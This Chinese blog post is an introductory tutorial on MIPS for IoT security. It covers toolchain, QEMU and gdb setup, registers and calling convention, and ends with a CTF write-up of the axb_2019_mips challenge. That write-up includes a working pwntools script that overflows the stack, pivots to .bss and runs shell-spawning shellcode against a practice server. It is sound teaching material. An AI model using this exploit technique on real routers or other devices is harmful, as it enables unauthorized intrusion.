iot入门--mips基础

heart22 Lv1

编译MIPS环境

1
sudo apt-get install gcc-mips-linux-gnu

运行和调试

qemu 环境搭建

qemu两种模式 qemu-user和qemu-user-static

1
2
sudo apt-get update
sudo apt-get install qemu qemu-user qemu-user-static

运行程序

小端序:qemu-mipsel ./xxx
大端序:qemu-mips ./xxx

调试

多架构调试工具

1
sudo apt-get install gdb-multiarch

终端运行

1
qemu-mips -g 1234 ./demo

再开另一个终端

1
2
3
4
gdb-multiarch  
set architecture mips
set endian big
target remote localhost:1234

mips相关知识

指令集

路由器是一种嵌入式系统,多采用 MIPS 和 ARM 这两种指令架构

MIPS 指令架构属于 RISC (精简指令集) 体系,是一种普遍应用于小型设备的处理器架构,使用 MIPS 指令架构的 Linux 系统便被称为 MIPS Linux,MIPS 架构广泛应用于嵌入式系统领域

RISC 架构的一些典型指令集包括 MIPS, ARM, RISC-V

在路由器中,常用的一种 MIPS 架构就是 MIPS32

在 MIPS 体系结构中有 32 个通用寄存器 REGISTER,其中主要的寄存器如下

REGISTER NAME USAGE
$0 zero 存储常量 0
$2-$3 v0−v1 存放函数调用的返回值或表达式
$4-$7 a0−a3 作为函数调用的前四个参数 (arguments)
$8-$15 t0−t7 供汇编程序使用的临时寄存器 临时变量
$16-$23 s0−s7 调用子函数时 用于保存原寄存器的值
$24-$25 t8−t9 供汇编程序使用的临时寄存器 补充_t_0−t7
$26-$27 k0−k1 中断/异常处理程序使用 保存系统参数
$28 $gp 全局指针 (Global Pointer)
$29 $sp 堆栈指针 指向栈顶 (Stack Pointer)
$31 $ra 返回地址 (return address)

然后还有 3 个特殊的寄存器,分别是 PC (程序计数器)、HI (乘除结果高位寄存器)、LO (乘除结果低位寄存器)

MIPS32 架构的寻址模式有寄存器寻址、立即数寻址、寄存器相对寻址和 PC 相对寻址

在 MIPS 指令集中,需要重点关注的是:

  • l 开头的 LOAD 加载指令和 s 开头的 STORE 存储指令,用于从存储器中读取数据到寄存器,或者将寄存器中的数据保存在存储器中
  • move 指令用于寄存器之间的值传递
  • 算术运算指令的操作数只能是寄存器,例如 add, sub, mult, div… 它们与 AMD 架构下的算术运算指令比较大的区别是操作数的使用和数量,MIPS 架构的算数运算结果都会存在另外一个寄存器中,而不是去覆盖某一个原本存储某个操作数的寄存器
  • slt 指令类似于 cmp
  • syscall 的系统调用号存放在 $v0 中
  • 分支跳转指令由 b 开头,如 b target; beq $t0, $t1, target 等
  • 常见的跳转指令有 j target; jr $t3; jal target

函数调用

传参:
函数调用时传参:如果函数的参数小于等于四个,那么会使用 $a0 ~ $a3 寄存器来存放参数。如果参数多于四个,那么多于的参数则存放到栈里

调用:

MIPS32 架构下的函数有两种类型——叶子函数和非叶子函数。如果一个函数中不会再调用其他任何函数,那么这个函数就是一个叶子函数,其余的函数都是非叶子函数

函数 A 调用函数 B。如果 B 是叶子函数,那么在调用 B 函数时,会将 B 函数的返回地址存入 $ra 寄存器;如果 B 是非叶子函数(B 函数内部调用了一个 C 函数),那么在跳转到 B 函数时,会将其返回地址先存入 $ra 寄存器中,随后在 B 函数内部再将 $ra 寄存器的值存入栈中(位于 fp-0x4 的位置,如下图)。当 B 函数调用 C 函数时,会将其返回地址存入 $ra 寄存器,在返回时执行 jr $ra 指令回到 B 函数。现在假设 B 函数已经执行完毕准备返回到 A 函数,会将原先存入栈里的返回地址读到 $ra 寄存器中,最后执行 jr $ra 指令,回到 A 函数

demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//mips-linux-gnu-gcc demo.c -o demo -static -g
#include<stdio.h>
int sum(int a,int b)
{
int value=a+b;
return value;
}

int main()
{
int c=sum(1,2);
printf("value ==> %d\n",c);
return 0;
}

传参

叶子函数

非叶子函数

sp + 0x20保存着旧fp地址
sp + 0x24保存着返回地址

栈溢出

对于非叶子函数的话,返回地址保存在栈中,通过栈溢出进行劫持返回地址即可。
对于叶子函数,利用就比较局限。

例子

axb_2019_mips

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s_[24]; // [sp+18h] [+18h] BYREF

alarm(0x3Cu);
setbuf(stdin, 0);
setbuf(stdout, 0);
memset(s_, 0, 0x14u);
puts("Welcome to MIPS pwn!");
puts("What's your name: ");
read(0, s_, 0x14u);
printf("Hello!, %s", s_);
vuln();
return 0;
}
1
2
3
4
5
6
ssize_t vuln()
{
_BYTE buf_[32]; // [sp+18h] [+18h] BYREF

return read(0, buf_, 0x200u);
}

vuln中有栈溢出,因为mips中是没有nx的,通过栈迁移来执行shellcode

从这里可以看出,read的第二个参数a1是由fp控制的。同时又有栈溢出

只要我们控制fp,再返回时通过 lw $fp, 0x38+var_s0($sp) 就能够实现任意地址写。同时劫持ra进行第二次读入

因为我们控制了fp为bss段地址 move $sp, $fp 通过这一条指令即可栈迁移到bss段上。

因为第二次读入时都是通过sp偏移来进行寻址的,我们只需要再bss段中设置好地址就能够劫持ra

读入时从sp + 0x18开始读入,通过栈溢出,将sp + 0x38设置返回地址,在sp + 0x40处布置好shellcode就能够执行shellcode来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
```#!/usr/bin/env python3
from pwncli import *
#cli_script()

#io = process(["qemu-mipsel","./pwn2"])
elf = ELF('./pwn2')
#libc = ELF('/')
io =remote('node5.buuoj.cn',25318)
#context.terminal = ['wt.exe', 'wsl', 'bash', '-c']
context.terminal = ['tmux', 'splitw', '-h']
context(log_level = 'debug',arch = elf.arch,os = elf.os)

def dbg(i):
gdb.attach(i)
pause()

io.recvuntil("What's your name: ")
io.send(b"aaaa")

shellcode = asm(shellcraft.sh(),arch='mips')
bss_addr = elf.bss() + 0x10


payload = flat(
b'a'*0x20,
bss_addr,
0x4007E4
)
io.send(payload)

payload = flat(
b'a'*0x24,
bss_addr+0x40,
shellcode
)
io.send(payload)
io.interactive()
  • 标题: iot入门--mips基础
  • 作者: heart22
  • 创建于 : 2025-10-16 12:49:24
  • 更新于 : 2025-10-16 12:50:38
  • 链接: https://heart22.top/2025/10/16/iot入门-mips基础/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。